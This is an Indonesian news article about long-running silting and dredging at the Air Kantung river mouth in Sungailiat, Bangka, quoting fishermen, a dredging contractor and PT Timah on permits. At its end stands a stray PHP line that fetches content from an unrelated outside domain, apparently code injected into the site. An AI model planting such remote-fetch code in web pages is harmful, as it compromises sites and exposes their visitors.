“Proyek Abadi”, Pendangkalan atau Pengerukkan di Muara Air Kantung Sungailiat!

Rabu, 25 Agustus 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka l Jejakkasus.info – Polemik yang terjadi di Muara Air Kantung Pelabuhan Nelayan Nusantara Kecamatan Sungailiat, Kabupaten Bangka, Provinsi Kepulauan Bangka Belitung, ramai diperbincangkan.

Pasalnya proyek abadi ini terus beroperasi sudah bertahun-tahun terus berjalan.

Tim Sembilan Jejak Kasus bergerak turun lapangan lantas dapat laporan dari masyarakat Nelayan sekitar pelabuhan nelayan Sungailiat bahwa muara Air Kantung mengalami pendangkalan berkepanjangan, Selasa (24/08/2021).

Kendati demikian, Tim Sembilan Jejak Kasus menelusuri apa benar yang terjadi demikian.

Yanto atau Acun kepala PT. Polomas Santosa cabang Sungailiat menduga bahwa TI Apung bekerja di Muara Air Kantung Pelabuhan Nelayan Nusantara Sungailiat bekerja di luar IUP-nya.

Seperti dikutip dari bangka.tribunnews.com,
Yanto Alias Acun Kepala PT Pulomas Sentosa Cabang Sungailiat kepada Bangkapos.com, Senin (23/08/2021).

Diakuinya beberapa hari sebelumnya ada beberapa unit TI apung rajuk yang beroperasi di kawasan laut depan mulut muara Air Kantung.

Baca Juga:  Tim Sembilan Jejak Kasus Bangka Belitung Sikapi Dugaan Penimbunan BBM Solar Bersubsidi

“Mereka ini diduga bekerja diluar IUP-nya, sehingga mengganggu pekerjaan kita untuk membuat alur muara, tapi tadi pagi aktivitas TI apung ini sudah ditertibkan petugas dari Pos Polairud,” ungkap Acun.

Kemudian Tim Sembilan Jejak Kasus minta konfirmasi via telepon WhatsApp.pukul 14.28 WIB, Mito Wastam PT. Timah, Tbk membenarkan bahwa di muara pelabuhan nelayan Sungailiat itu ialah IUP PT. Timah. “Betul itu IUP PT. Timah”, ucapnya.

“IUP lain tidak ada. Mungkin itu RK Pasir, yang namanya IUP itu adalah Izin Usaha Pertambangan, itu dari Kementerian ESDM”, ucap Mito.

“Jadi Izin Usaha Pertambangan itu diberikan kepada PT. Timah untuk menambang biji Timah bukan menambang pasir”.

“Kalau ada yang mengaku IUP-nya jelas bukan. RK Pasir itu dari Pemerintah Daerah setempat. Mereka diberi izin untuk mengeruk alur muara”, jelasnya.

Yang anehnya, kenapa dari bulan Juni sampai Agustus ada 3 Tambang ilegal bekerja aman-aman saja. Ini legal kenapa ada penertiban. Kita sudah bekerja sesuai titik lokasi IUP-nya,” tambah Rusmito.

Baca Juga:  Penertiban Tambang Tanpa Izin di Laut Mengkubung Kecamatan Belinyu

Menurut informasi didapat, “Pendangkalan terjadi karena pengendapan lumpur dan longsor tanah dari atas”, ucap seorang nelayan yang tidak ingin disebut namanya.

“Sekarang saja kapal nelayan belum bisa masuk padahal ini sudah siang. Banyak perahu yang sudah mengantri paling sore baru bisa masuk”.

“Percuma dikeruk, kapan hujan pasti longsor.”

“Dari zaman kita masih kecil. Itu kan pasti ada solusi dari pemerintah. Tapi yang jadi permasalahannya ini Pelabuhan Nusantara. Sampai sekarang belom ada solusinya”, tuturnya

“Ini pendangkalan atau pengerukan Pak?” Tanya Tim Sembilan Jejak Kasus kepada nelayan. “Ini proyek abadi”, jawabnya.

Kemudian, nelayan lain menambahkan, “Kalau ada pendangkalan muara dikeruk. Itu alat berat milik PT. Polomas Santosa, kalau dikeruk dibiarkan menumpuk dan hanya sebagian saja yang diangkut. Jadi kalau hujan ya longsor turun lagi”.

Baca Juga:  Polres Blitar Kota bersama Satpol PP Tertibkan Tambang Ilegal

“Gundukan dua pasir ini PT. Polomas yang mengeruk, harusnya diangkut. Kenapa dibiarkan menumpuk”. Tambahnya lagi.

“Kalau siang dikeruk dan kalau malam longsor lagi”.

“Pendangkalan terjadi dari Pukul 10 malam sampai sekarang ini, kira-kira pukul 4 sore nanti kapal baru bisa dengan leluasa masuk”, ungkapnya kepada Tim Sembilan Jejak Kasus, Selasa, (24/08/2021) Pukul 14.18 WIB.

Nelayan mengeluhkan kapal keluar masuk inilah yang selama ini menjadi kendalanya.

Harapannya kapal nelayan bisa lancar untuk keluar masuk Maura pelabuhan.

Tim Sembilan Jejak Kasus mendatangi Kantor Pelabuhan Nelayan Nusantara sekira Pukul 14.45 wib untuk meminta konfirmasi tapi jam layanan dibatasi sampai pukul 13.00 wib dimasa PPKM jelas petugas jaga. Begitu juga saat ingin meminta konfirmasi kepada pihak KSOP Wilker Sungailiat. (Bersambung)

Tim Sembilan

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>